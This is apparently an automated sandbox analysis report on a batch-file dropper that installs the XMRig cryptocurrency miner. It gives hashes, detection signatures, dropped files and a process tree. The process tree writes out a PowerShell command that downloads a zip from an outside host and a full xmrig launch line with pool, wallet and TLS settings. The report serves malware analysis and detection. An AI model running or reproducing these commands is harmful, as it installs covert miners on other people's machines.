Analysis

  • max time kernel
    1801s
  • max time network
    1784s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-11-2023 20:00

General

  • Target

    tesy - Copy (13).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 31 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4888
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1436
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4736
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1332
  • C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
    1⤵
      PID:2112
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:936

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      2f57fde6b33e89a63cf0dfdd6e60a351

      SHA1

      445bf1b07223a04f8a159581a3d37d630273010f

      SHA256

      3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

      SHA512

      42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      c20ac38ae3022e305b8752804aadf486

      SHA1

      4c144d6cfafb5c37ab4810ff3c1744df81493cdb

      SHA256

      03cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf

      SHA512

      c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s5c3apxv.yfo.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\test1.zip

      Filesize

      3.2MB

      MD5

      95452958f42b1b93f0c887f59d84d19f

      SHA1

      c861dc457d57471ab42879f49cc8fe171e7c9b1c

      SHA256

      dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

      SHA512

      96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

      Filesize

      278B

      MD5

      080123b6eac4a332d3f2b11f6eb3aa54

      SHA1

      8f3d40eae881e3b871cff2aa85521d727ada2a64

      SHA256

      cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

      SHA512

      0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

      Filesize

      7.9MB

      MD5

      4813fa6d610e180b097eae0ce636d2aa

      SHA1

      1e9cd17ea32af1337dd9a664431c809dd8a64d76

      SHA256

      9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

      SHA512

      5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

    • memory/936-114-0x0000021BDE1B0000-0x0000021BDE1B1000-memory.dmp

      Filesize

      4KB

    • memory/936-116-0x0000021BDE1E0000-0x0000021BDE1E1000-memory.dmp

      Filesize

      4KB

    • memory/936-98-0x0000021BD5E40000-0x0000021BD5E50000-memory.dmp

      Filesize

      64KB

    • memory/1332-70-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-60-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-81-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-80-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-79-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-78-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-77-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-76-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-75-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-47-0x000001A308D50000-0x000001A308D70000-memory.dmp

      Filesize

      128KB

    • memory/1332-74-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-48-0x000001A30A740000-0x000001A30A760000-memory.dmp

      Filesize

      128KB

    • memory/1332-49-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-50-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-51-0x000001A30A760000-0x000001A30A780000-memory.dmp

      Filesize

      128KB

    • memory/1332-52-0x000001A30A780000-0x000001A30A7A0000-memory.dmp

      Filesize

      128KB

    • memory/1332-53-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-54-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-55-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-57-0x000001A30A780000-0x000001A30A7A0000-memory.dmp

      Filesize

      128KB

    • memory/1332-56-0x000001A30A760000-0x000001A30A780000-memory.dmp

      Filesize

      128KB

    • memory/1332-58-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-59-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-73-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-61-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-62-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-63-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-64-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-65-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-66-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-67-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-68-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-69-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-72-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1332-71-0x00007FF705AE0000-0x00007FF7065E3000-memory.dmp

      Filesize

      11.0MB

    • memory/1436-21-0x0000023F3C570000-0x0000023F3C580000-memory.dmp

      Filesize

      64KB

    • memory/1436-19-0x00007FFCF0E00000-0x00007FFCF18C1000-memory.dmp

      Filesize

      10.8MB

    • memory/1436-43-0x00007FFCF0E00000-0x00007FFCF18C1000-memory.dmp

      Filesize

      10.8MB

    • memory/1436-20-0x0000023F3C570000-0x0000023F3C580000-memory.dmp

      Filesize

      64KB

    • memory/1436-34-0x0000023F3C540000-0x0000023F3C54A000-memory.dmp

      Filesize

      40KB

    • memory/1436-33-0x0000023F3EA70000-0x0000023F3EA82000-memory.dmp

      Filesize

      72KB

    • memory/1436-32-0x0000023F3C570000-0x0000023F3C580000-memory.dmp

      Filesize

      64KB

    • memory/4888-10-0x00007FFCF0D90000-0x00007FFCF1851000-memory.dmp

      Filesize

      10.8MB

    • memory/4888-17-0x00007FFCF0D90000-0x00007FFCF1851000-memory.dmp

      Filesize

      10.8MB

    • memory/4888-11-0x000001576C3A0000-0x000001576C3B0000-memory.dmp

      Filesize

      64KB

    • memory/4888-13-0x000001576C3A0000-0x000001576C3B0000-memory.dmp

      Filesize

      64KB

    • memory/4888-12-0x000001576C3A0000-0x000001576C3B0000-memory.dmp

      Filesize

      64KB

    • memory/4888-9-0x000001576E4C0000-0x000001576E4E2000-memory.dmp

      Filesize

      136KB